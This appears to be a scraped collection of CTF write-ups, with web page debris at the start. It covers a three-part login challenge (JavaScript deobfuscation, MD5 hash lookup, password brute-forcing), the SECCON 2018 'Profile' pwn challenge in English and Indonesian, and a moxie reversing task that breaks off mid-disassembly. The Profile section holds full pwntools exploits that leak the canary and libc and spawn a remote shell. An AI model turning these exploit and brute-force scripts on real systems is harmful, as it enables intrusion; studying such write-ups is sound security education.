Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/file-list/master/Pico%20CTF%202018/sword"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Writeups# 2020## B01Lers CTFhttps://http://ctfd2.ctf.b01lers.net/https://github.com/chaocipher/Writeups/blob/master/B01lers%20CTF%202020.pdf # 2019## Facebook CTF https://www.fbctf.comhttps://github.com/chaocipher/Writeups/blob/master/Facebook%20CTF%202019.pdf # 2018## ASIS CTF https://asisctf.comhttps://github.com/chaocipher/Writeups/blob/master/The%20Early%20School.pdfhttps://github.com/chaocipher/Writeups/blob/master/ASIS%202018%20-%20Warm%20up.pdf ## Hacker Easterhttps://hackyeaster.hacking-lab.com/hackyeaster/https://github.com/chaocipher/Writeups/blob/master/HackyEaster2018Teaser-Write-up.txt ## Hitconhttps://github.com/chaocipher/Writeups/blob/master/Hitcon%202018%20-%20EV3%20Scanner.pdf ## Meepwn CTFhttps://github.com/chaocipher/Writeups/blob/master/Meepwn2018-whitesnow.pdf ## SecurityFest CTFhttps://github.com/chaocipher/Writeups/blob/master/Secfest%202018%20-%20Writeups.pdf
If you'll look at the source of the login, you'll notice that it's a simple JS code. Simpliy run the code without `http.createServer(function (req, res)` function. So it would look like: const crypto = require('crypto'); var _0x86d1=["\x68\x65\x78","\x72\x61\x6E\x64\x6F\x6D\x42\x79\x74\x65\x73"]; function generatePart1() { return { x: crypto[_0x86d1[1]](8) }[x].toString(_0x86d1[0]); } function generatePart2() { return [+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]; } passwd = generatePart1() + generatePart2(); console.log(passwd) This will give you `undefined1337 ` and entering this as a password you'll get `flag{W0w_1_gu3ss_th1s`. This is one of the three part. Now moving to login2. It's a PHP and on line 4 we see ` if (hash("md5", $_GET['passwd']) == '0e514198428367523082236389979035')` meaning whatever our password is hashed and then compared to the given hash i.e `0e514198428367523082236389979035` so all we have to do is reverse the hash. Just go on [this](https://www.md5online.org/) and boom you'll get `R3>M=`. This password will give you ` t0_be_4_pr3tty_`. Going on Login3 we see it's flask server. The thing to be noted here is line 19 and 20 i.e assert(len(passwd) == 3) assert(passwd.isdigit())This mean our passwd must be of length 3 and should only be digit. That's easy to figure out but one thing that can confuse us here is that if password is 3 digit then it will be between 100 - 999. That's not the case here. Number `001` is also a 3 digit number and it's not between 100-999. Okay so now we know what we have to do so we `automate boring stuff with python` import os import requests for i in range(0, 1000): print("TRYING >> ", i) url = "http://login3.uni.hctf.fun/?passwd=%03d" % i print(os.path.basename(url)) r = requests.get(url).content s = """<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>""" if(s != r.decode('utf-8')): print(i) break Now this is not the best code but hey it works :) From above code we get `007`. Entering that we get ` 4_d4mn_l0ng_fl4g}`Now combine all the three flags and we get: `flag{W0w_1_gu3ss_th1s_t0_be_4_pr3tty_4_d4mn_l0ng_fl4g}`
# Profile---**Points:** 255 | **Solves:** 64/653 | **Category:** Pwn Host: profile.pwn.seccon.jpPort: 28553 [Download](profile_e814c1a78e80ed250c17e94585224b3f3be9d383)[Download](libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253) --- [Bahasa Indonesia](#bahasa-indonesia) ## English```gdb-peda$ file profile_e814c1a78e80ed250c17e94585224b3f3be9d383Reading symbols from profile_e814c1a78e80ed250c17e94585224b3f3be9d383...(no debugging symbols found)...done. gdb-peda$ checksecCANARY : ENABLEDFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial``` The challenge is a simple binary to print and store message. ```Please introduce yourself!Name >> testAge >> 21Message >> nothing 1 : update message2 : show profile0 : exit>> ``` The prompt is looped, so users can update message and show profile as many times as they want.Note that name and message are strings, therefore even if we input a long string a buffer overflow will not happen (it will be stored in heap). Due to the strings datatype (and int for age), let's assume that input_name, input_age, and input_message is not vulnerable.Also, due to we do not control anything for show_profile than it is most likely that a vulnerability exists in update_message. Below, a snippet of update_message (ida decompiled). ```cpp__int64 __fastcall Profile::update_msg(Profile *this){ __int64 v1; // rax __int64 result; // rax void *ptr; // [rsp+10h] [rbp-10h] size_t v4; // [rsp+18h] [rbp-8h] ptr = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(this); v4 = malloc_usable_size(ptr); if ( v4 == 0 ) { v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Unable to update message."); result = std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>); } else { std::operator<<<std::char_traits<char>>(&std::cout, "Input new message >> "); result = getn((char *)ptr, v4); } return result;}``` We can write to message up to the return value of malloc_usable_size(message).So, how are cpp's strings stored then? For a big string, it will allocate heap with the size of string.However, there is a thing called Small String Optimization (SSO). It optimizes string allocation by storing small string on the stack. What would malloc_usable_size(message) return if message if small then? ``` call 0x400e90 <malloc_usable_size@plt>=> 0x4010be <Profile::update_msg()+40>: mov QWORD PTR [rbp-0x8],rax ... gdb-peda$ p $rax$1 = 0xfffffffffffffff0``` It returns a very big number (supposedly negative), that means we can write and possibly have an overflow.Let's analyze how the program stores name, age, and message. ```__int64 __fastcall Profile::set_name(__int64 a1, __int64 a2){ return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(a1 + 32, a2);} Profile *__fastcall Profile::set_age(Profile *this, int a2){ Profile *result; // rax result = this; *((_DWORD *)this + 16) = a2; return result;} __int64 __fastcall Profile::set_msg(__int64 a1, __int64 a2){ return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(a1, a2);}``` Basically, it stores `set_msg` on `Profile + 0`, `set_name` on `Profile + 32`, and `set_age` on `Profile + 64`.Below the condition of allocated Profile (small string for message and name). ```gdb-peda$ x/12gx 0x7fff85a09e90 0x7fff85a09e90: 0x00007fff85a09e60 <= pointer to msg 0x0000000000000002 <= msg length0x7fff85a09ea0: 0x0000000000006161 0x00000000000000000x7fff85a09eb0: 0x00007fff85a09e80 <= pointer to name 0x0000000000000007 <= name length0x7fff85a09ec0: 0x0061616161616161 0x00000000000000000x7fff85a09ed0: 0x0000000000000001 <= age 0xef86cdc445a5ec00 <= canary0x7fff85a09ee0: 0x00007fff85a09fd0 0x00000000000000000x7fff85a09ef0: 0x00000000004016b0 <= ret address 0x00007ffff74791c1 <= __libc_start_main+240 ``` We can write as many as we want from msg (0x7fff85a09ea0), but there is a canary.We can leak canary but partially overwriting (first byte) of pointer_to_name in order to print the canary. We can leak through (in the example) 0x00007fff85a09e00 - 0x00007fff85a09eff to enable a consistent read of canary.However, for this challenge I just put in `d9` for the partial overwrite (canary's first byte is always 0x00). Randomization is on, so canary's address (first-byte) can be 0xf8, 0xe8, 0x38, etc, but it is always aligned, so the chance of having it in 0xd9 is not low. We can also leak libc by the offset `f8`. We then spawn shell by using one_gadget.Below is the script used. My script takes awhile (not that long) to spawn shell. It is a little bit faster to write the code that way, sorry :( ```pythonfrom pwn import * debug = 0one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]libc = ELF('./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253') while (1): if debug: r = process(['./profile_e814c1a78e80ed250c17e94585224b3f3be9d383'], env={"LD_PRELOAD":"./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253"}) else: r = remote('profile.pwn.seccon.jp', 28553) r.recvuntil('>>') r.sendline('a' * 7) r.recvuntil('>>') r.sendline('31337') r.recvuntil('>>') r.sendline('aa') r.recvuntil('>>') r.sendline('1') r.recvuntil('>>') r.sendline(p64(0) * 2 + '\xd9') r.recvuntil('>>') r.sendline('2') r.recvuntil('Name : ') canary = u64('\x00' + r.recvline().strip()) if (canary < (1 << 56)): r.close() continue r.recvuntil('>>') r.sendline('1') r.recvuntil('>>') r.sendline(p64(0) * 2 + '\xf8') r.recvuntil('>>') r.sendline('2') r.recvuntil('Name : ') lsm = u64(r.recvline().strip().ljust(8, '\x00')) if (lsm < 0x7f0000000000): r.close() continue libc_base = lsm - libc.symbols.__libc_start_main - 240 print hex(canary) print hex(libc_base) r.recvuntil('>>') r.sendline('1') r.recvuntil('>>') r.sendline(p64(0) * 7 + p64(canary) + p64(0) * 3 + p64(libc_base + one[0])) r.sendline('0') r.interactive() break``` A better solution by my teammates allow a more reliable shell spawn. ```pythonfrom pwn import * context.arch = "amd64"context.os = "linux" def debug(p): if (len(sys.argv) > 1 and sys.argv[1] == "debug"): util.proc.wait_for_debugger(util.proc.pidof(p)[0]) ### end of template p = remote('profile.pwn.seccon.jp', 28553)# p = process('./profile_e814c1a78e80ed250c17e94585224b3f3be9d383')binelf = ELF('./profile_e814c1a78e80ed250c17e94585224b3f3be9d383')binlib = ELF('./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253') # initializep.sendline('abcdefgh')p.sendline('16961')p.sendline('abcdefg')p.recvuntil('exit') found = Falsefor i in range(16): idx = 15-i p.sendline('1') p.sendline('A' * 0x10 + chr(idx * 0x10)) p.sendline('2') p.recvuntil('Name : ') log.debug(idx) name = p.recvline() if name.startswith('AB') and idx-2 >= 0: age_on = idx name_on = idx-1 name_ptr = idx-2 p.sendline('1') p.sendline('A' * 0x10 + chr(name_ptr*0x10)) p.sendline('2') p.recvuntil('Name : ') name_leak = u64(p.recvline().strip().ljust(8, '\x00')) found = True break if not found: log.error('Failed, Try again') exit(0) canary_leak = name_leak + 0x28log.info('Name leak at {}'.format(hex(name_leak)))log.info('Canary leak at {}'.format(hex(canary_leak))) p.sendline('1')p.sendline('A' * 0x10 + p64(canary_leak))p.sendline('2')p.recvuntil('Name : ')canary = u64(p.recvline().strip().ljust(8, '\x00')) log.info('Canary {}'.format(hex(canary))) p.sendline('1')p.sendline('A' * 0x10 + p64(binelf.got['read']))p.sendline('2')p.recvuntil('Name : ')read_loc = u64(p.recvline().strip().ljust(8, '\x00'))one_gadget = 0x45216one_gadget_loc = read_loc + one_gadget - binlib.symbols['read'] log.info('One Gadget {}'.format(hex(one_gadget_loc))) p.sendline('1')p.sendline('\x00' * 0x38 + p64(canary) + '\x00' * 0x18 + p64(one_gadget_loc)) p.sendline('0') p.interactive()``` ## Bahasa Indonesia```gdb-peda$ file profile_e814c1a78e80ed250c17e94585224b3f3be9d383Reading symbols from profile_e814c1a78e80ed250c17e94585224b3f3be9d383...(no debugging symbols found)...done. gdb-peda$ checksecCANARY : ENABLEDFORTIFY : disabledNX : ENABLEDPIE : disabledRELRO : Partial``` Diberikan sebuah binary untuk menambahkan pesan dan menampilkan pesan. ```Please introduce yourself!Name >> testAge >> 21Message >> nothing 1 : update message2 : show profile0 : exit>> ``` Pengguna dapat menambah dan menampilkan pesan berulang, tidak ada maksimum iterasi.Tipe data untuk name dan message adalah string, jadi tidak akan terjadi buffer overflow meskipun input panjang (akan disimpan pada heap). Karena menggunakan string (dan int untuk age), asumsi bahwa input_name, input_age, dan input_message tidak vulnerable.Selain itu, kita tidak memiliki kontrol atas show_profile sehingga kemungkinan vulnerability tidak ada pada fungsi tersebut juga. Berikut fungsi update_message (dekompilasi ida). ```cpp__int64 __fastcall Profile::update_msg(Profile *this){ __int64 v1; // rax __int64 result; // rax void *ptr; // [rsp+10h] [rbp-10h] size_t v4; // [rsp+18h] [rbp-8h] ptr = (void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(this); v4 = malloc_usable_size(ptr); if ( v4 == 0 ) { v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Unable to update message."); result = std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>); } else { std::operator<<<std::char_traits<char>>(&std::cout, "Input new message >> "); result = getn((char *)ptr, v4); } return result;}``` Kita dapat mengubah message sejumlah hasil dari malloc_usable_size(message).Pada cpp, string disimpan pada heap. Namun, ada Small String Optimization (SSO). SSO mengoptimasi penggunaan string dengan menuliskan string kecil pada stack. Apa output dari malloc_usable_size(message) apabila string kecil (disimpan pada stack)? ``` call 0x400e90 <malloc_usable_size@plt>=> 0x4010be <Profile::update_msg()+40>: mov QWORD PTR [rbp-0x8],rax ... gdb-peda$ p $rax$1 = 0xfffffffffffffff0``` Outputnya ternyata adalah bilangan negatif, karena bilangan tersebut diinterpretasikan sebagai unsigned (nilai menjadi sangat besar), kita mendapatkan overflow pada stack.Mari analisa penyimpanan message, name, dan age pada program. ```__int64 __fastcall Profile::set_name(__int64 a1, __int64 a2){ return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(a1 + 32, a2);} Profile *__fastcall Profile::set_age(Profile *this, int a2){ Profile *result; // rax result = this; *((_DWORD *)this + 16) = a2; return result;} __int64 __fastcall Profile::set_msg(__int64 a1, __int64 a2){ return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(a1, a2);}``` Program menyimpan `set_msg` pada `Profile + 0`, `set_name` pada `Profile + 32`, dan `set_age` pada `Profile + 64`.Berikut kondisi alokasi Profile (string pendek untuk message dan name). ```gdb-peda$ x/12gx 0x7fff85a09e90 0x7fff85a09e90: 0x00007fff85a09e60 <= pointer to msg 0x0000000000000002 <= msg length0x7fff85a09ea0: 0x0000000000006161 0x00000000000000000x7fff85a09eb0: 0x00007fff85a09e80 <= pointer to name 0x0000000000000007 <= name length0x7fff85a09ec0: 0x0061616161616161 0x00000000000000000x7fff85a09ed0: 0x0000000000000001 <= age 0xef86cdc445a5ec00 <= canary0x7fff85a09ee0: 0x00007fff85a09fd0 0x00000000000000000x7fff85a09ef0: 0x00000000004016b0 <= ret address 0x00007ffff74791c1 <= __libc_start_main+240 ``` Kita dapat menulis sejumlah berapapun pada msg (0x7fff85a09ea0), tetapi ada canary.Canary dapat di-leak dengan menulis byte pertama (partial overwrite) dari pointer_to_name. Kita dapat me-leak (seperti pada contoh) 0x00007fff85a09e00 - 0x00007fff85a09eff untuk mendapatkan pembacaan konsisten canary.Namun, untuk soal ini saya selalu menulis `d9` untuk partial overwrite (byte pertama canary selalu 0x00). Terdapat ASLR, jadi byte pertama alamat canary dapat berupa 0xf8, 0xe8, 0x38, dst. Namun karena selalu aligned (tidak mungkin terdapat pada 0x31, 0x57, 0x99, dst) maka kemungkinan terdapat pada 0xd9 tidak kecil. Kita juga dapat leak libc pada `f8`. Selanjutnya spawn shell dengan one_gadget.Berikut kode yang digunakan. Kode tersebut akan memakan waktu (tidak lama) untuk spawn shell. Sedikit lebih cepat menulis kode tersebut, maaf :( ```pythonfrom pwn import * debug = 0one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]libc = ELF('./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253') while (1): if debug: r = process(['./profile_e814c1a78e80ed250c17e94585224b3f3be9d383'], env={"LD_PRELOAD":"./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253"}) else: r = remote('profile.pwn.seccon.jp', 28553) r.recvuntil('>>') r.sendline('a' * 7) r.recvuntil('>>') r.sendline('31337') r.recvuntil('>>') r.sendline('aa') r.recvuntil('>>') r.sendline('1') r.recvuntil('>>') r.sendline(p64(0) * 2 + '\xd9') r.recvuntil('>>') r.sendline('2') r.recvuntil('Name : ') canary = u64('\x00' + r.recvline().strip()) if (canary < (1 << 56)): r.close() continue r.recvuntil('>>') r.sendline('1') r.recvuntil('>>') r.sendline(p64(0) * 2 + '\xf8') r.recvuntil('>>') r.sendline('2') r.recvuntil('Name : ') lsm = u64(r.recvline().strip().ljust(8, '\x00')) if (lsm < 0x7f0000000000): r.close() continue libc_base = lsm - libc.symbols.__libc_start_main - 240 print hex(canary) print hex(libc_base) r.recvuntil('>>') r.sendline('1') r.recvuntil('>>') r.sendline(p64(0) * 7 + p64(canary) + p64(0) * 3 + p64(libc_base + one[0])) r.sendline('0') r.interactive() break``` Berikut solusi lain dari anggota tim yang lebih dapat diandalkan (tidak harus menunggu untuk spawn shell). ```pythonfrom pwn import * context.arch = "amd64"context.os = "linux" def debug(p): if (len(sys.argv) > 1 and sys.argv[1] == "debug"): util.proc.wait_for_debugger(util.proc.pidof(p)[0]) ### end of template p = remote('profile.pwn.seccon.jp', 28553)# p = process('./profile_e814c1a78e80ed250c17e94585224b3f3be9d383')binelf = ELF('./profile_e814c1a78e80ed250c17e94585224b3f3be9d383')binlib = ELF('./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253') # initializep.sendline('abcdefgh')p.sendline('16961')p.sendline('abcdefg')p.recvuntil('exit') found = Falsefor i in range(16): idx = 15-i p.sendline('1') p.sendline('A' * 0x10 + chr(idx * 0x10)) p.sendline('2') p.recvuntil('Name : ') log.debug(idx) name = p.recvline() if name.startswith('AB') and idx-2 >= 0: age_on = idx name_on = idx-1 name_ptr = idx-2 p.sendline('1') p.sendline('A' * 0x10 + chr(name_ptr*0x10)) p.sendline('2') p.recvuntil('Name : ') name_leak = u64(p.recvline().strip().ljust(8, '\x00')) found = True break if not found: log.error('Failed, Try again') exit(0) canary_leak = name_leak + 0x28log.info('Name leak at {}'.format(hex(name_leak)))log.info('Canary leak at {}'.format(hex(canary_leak))) p.sendline('1')p.sendline('A' * 0x10 + p64(canary_leak))p.sendline('2')p.recvuntil('Name : ')canary = u64(p.recvline().strip().ljust(8, '\x00')) log.info('Canary {}'.format(hex(canary))) p.sendline('1')p.sendline('A' * 0x10 + p64(binelf.got['read']))p.sendline('2')p.recvuntil('Name : ')read_loc = u64(p.recvline().strip().ljust(8, '\x00'))one_gadget = 0x45216one_gadget_loc = read_loc + one_gadget - binlib.symbols['read'] log.info('One Gadget {}'.format(hex(one_gadget_loc))) p.sendline('1')p.sendline('\x00' * 0x38 + p64(canary) + '\x00' * 0x18 + p64(one_gadget_loc)) p.sendline('0') p.interactive()```
# Special Instructions---**Points:** 262 | **Solves:** 61/653 | **Category:** Reversing Execute this file and get the flag. References: Assembly samples for many architectureshttp://kozos.jp/books/asm/cross-gcc494-v1.0.zip See the assembly samples. ```$ unzip cross-gcc494-v1.0.zip$ cd cross-gcc494/sample$ ls *.d``` See the sample programs running on GDB simulator. ```$ cd cross-gcc494/exec$ ls *.d``` [Download](runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be) --- [Bahasa Indonesia](#bahasa-indonesia) ## EnglishWe were given an ELF 32-bit with unknown architecture.```sh$ file runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7berunme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped``` Basic recon using `strings`, we found the architecture is `moxie`.```sh$ strings runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be,.U70123456789abcdefThis program uses special instructions.SETRSEED: (Opcode:0x16) RegA -> SEEDGETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegAGCC: (GNU) 4.9.4moxie-elf.c...``` We couldn't disassemble it with `objdump` or `IDA`. We decided to make our own [simple disassembler](disas_moxie.py) by reading [this documentation](http://moxielogic.org/blog/pages/architecture.html).```$ python disas_moxie.pyfunction main0x136c: 06 18 push $sp, $r60x136e: 91 18 dec $sp, 0x240x1370: 01 20 ldi.l $r0, 0x92d68ca20x1376: 03 00 jsra set_random_seed0x137c: 01 80 ldi.l $r6, puts0x1382: 01 20 ldi.l $r0, 0x10x1388: 01 30 ldi.l $r1, "This program uses special instructions.\n\n"0x138e: 19 80 jsr $r60x1390: 01 20 ldi.l $r0, 0x10x1396: 01 30 ldi.l $r1, "SETRSEED: (Opcode:0x16)\n"0x139c: 19 80 jsr $r60x139e: 01 20 ldi.l $r0, 0x10x13a4: 01 30 ldi.l $r1, " RegA -> 